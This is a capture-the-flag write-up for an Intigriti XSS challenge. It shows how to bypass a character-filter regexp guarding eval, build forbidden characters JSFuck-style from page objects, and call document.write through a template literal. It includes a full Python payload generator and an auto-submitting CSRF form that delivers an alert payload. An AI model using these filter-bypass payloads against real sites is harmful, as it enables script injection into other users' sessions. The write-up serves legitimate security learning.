79 KiB
79 KiB
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Brief Description
The challenge provides a vulnerable to XSS form in the page https://challenge-0521.intigriti.io/captcha.php.
This form is loaded in https://challenge-0521.intigriti.io/ via an iframe.
It was found that the form will insert the user input inside the JavaScript eval function. This is usually a bad idea as it can lead to arbitrary JavaScript execution, and this is a good example.
However, before inserting the user input inside theeval function, it’s checked with the regexp /[a-df-z<>()!\\='"]/gi so if any of those character is found, the user input won’t be executed inside eval.
Anyway, it was found a way to bypass the regexp protection and execute alert(document.domain) abusing the dangerous eval function.
Accessing the HTML
It was found that the letter e is permitted as user input. It was also found that there is an HTLM element using the id="e". Therefore, this HtML element is accesible from Javascript just using the variable e:
Also, it’s important to know that in JS you can access the attributes of an objects with a dot or with a string between brackets. So, you can access the domain attribute of a document object in either of the following ways:
document.domain
document["domain"]
And the same happens with attributes that are functions (methods):
document.write("1")
document["write"]("1")
Then, from the e HTML element it’s possible to access the document object using something like:
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]
Calling a function without parenthesis with JS code as string
From the object document it’s possible to call the write function to write arbitrary HTML text that the browser will execute.
However, as the () characters are forbidden, it’s not possible to call the function using them. Anyway, it’s possible to call a function using backtips (``).
Moreover, it’s possible to put as string javascript code that is going to be executed using ${...} like:
`${"alert(document.location)"}`
Therefore, combining the document object access with this technique to execute functions without parenthesis it’s possible to execute an alert using:
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"<script>alert(document.location)</script>"}`
You can test this code in a javascript console inside the page https://challenge-0521.intigriti.io/captcha.php
Final forbidden characters bypass
However, there is still one problem left. Most of the characters of the exploit are forbidden as they appear in the regexp /[a-df-z<>()!\\='"]/gi. But note how all the forbidden characters are strings inside the exploit and the not string characters in the exploit (e[]`${}) are allowed.
This means that if it’s possible to generate the forbidden charaters as strings from the allowed characters, it’s possible to generate the exploit.
In order to do this I have generated a JSFuck like alphabet to generate the necesary characters (this alphabet is custom for this challenge).
You can see the full alphabet inside the exploit code (which can be found in the next subsection and in the file exploit.txt).
For example, in order to generate the letter a it’s possible to access [[]/e+e][0][1] as [[]/e+e][0] generates the string "NaN[object HTMLProgressElement]" or in order to generate the letter f its possible to access the 5th char of [[][[]]+e][0] as that expression generates the string "undefined[object HTMLProgressElement]".
Using these tricks and some more complex ones it was possible to generate all the characters (letters and symbols) of the strings contained in the exploit:
e["parentNode"]["parentNode"]["parentNode"]["parentNode"]["parentNode"]["write"]`${"<script>alert(document.location)</script>"}`
Exploit Code
This is the python exploit used to generate the final exploit. If you execute it, it will print the exploit:
#JS Specific Direct Alphabet
x = {
"1": "1",
".": ".",
"[": "[e+e][0][0]",
"]": "[e+e][0][27]",
"/": "[/e/+e][0][0]",
"a": "[[]/e+e][0][1]",
"b": "[e+e][0][2]",
"c": "[e+e][0][5]",
"d": "[[][[]]+e][0][2]",
"e": "[e+e][0][4]",
"f": "[[][[]]+e][0][4]",
"g": "[e+e][0][15]",
"H": "[e+e][0][8]",
"i": "[[][[]]+e][0][5]",
"j": "[e+e][0][3]",
"L": "[e+e][0][11]",
"l": "[e+e][0][21]",
"M": "[e+e][0][10]",
"n": "[[][[]]+e][0][1]",
"N": "[[]/e+e][0][0]",
"o": "[e+e][0][1]",
"r": "[e+e][0][13]",
"s": "[e+e][0][18]",
"t": "[e+e][0][6]",
"T": "[e+e][0][9]",
"u": "[[][[]]+e][0][0]",
}
#JS Dependent Alphabet
#The following alphabet will use previously obtained characters
#Note that this way of getting the characters are custom for the abused HTML
outerHTML = '+'.join(x[k] for k in 'outerHTML')
x['p'] = f'e[{outerHTML}][1]'
x['y'] = f'e[{outerHTML}][39]'
x['<'] = f'e[{outerHTML}][0]'
x['>'] = f'e[{outerHTML}][62]'
x['"'] = f'e[{outerHTML}][13]'
parentNode = '+'.join(x[k] for k in 'parentNode')
document =f'e[{parentNode}][{parentNode}][{parentNode}][{parentNode}][{parentNode}]'
x['h'] = f'e[{parentNode}][{parentNode}][{outerHTML}][15]'
children = '+'.join(x[k] for k in 'children')
captcha = '+'.join(x[k] for k in 'captcha')
x['w'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][35]'
write = '+'.join(x[k] for k in 'write')
x['m'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][38]'
x['('] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][42]'
x[')'] = f'e[{parentNode}][{parentNode}][{parentNode}][{children}][{captcha}][{x["g"]}][{outerHTML}][43]'
# Exploit generation
payload_text = '<script>alert(document["domain"])</script>'
payload = '+'.join(x[k] for k in payload_text)
txt = f'{document}[{write}]'+'`${['+payload+']}`'
print(txt) #Write the exploit to stdout
Exploitation
In order to generate the exploit just execute the previous python code. If you prefer, you can also copy/paste it from here:
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Then, you need to generate a HTML page that, when loaded, it’s going to redirect the victim to the challenge page setting the exploit in the captcha form. The following code can be use for this purpose (note that the exploit is URL encoded):
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://challenge-0521.intigriti.io/captcha.php" method="POST">
<input type="hidden" name="c" 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/>
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Finally, serve the poc in a HTTP server and access it from the browser:\
Just press submit on the captcha form and the alert will be executed:
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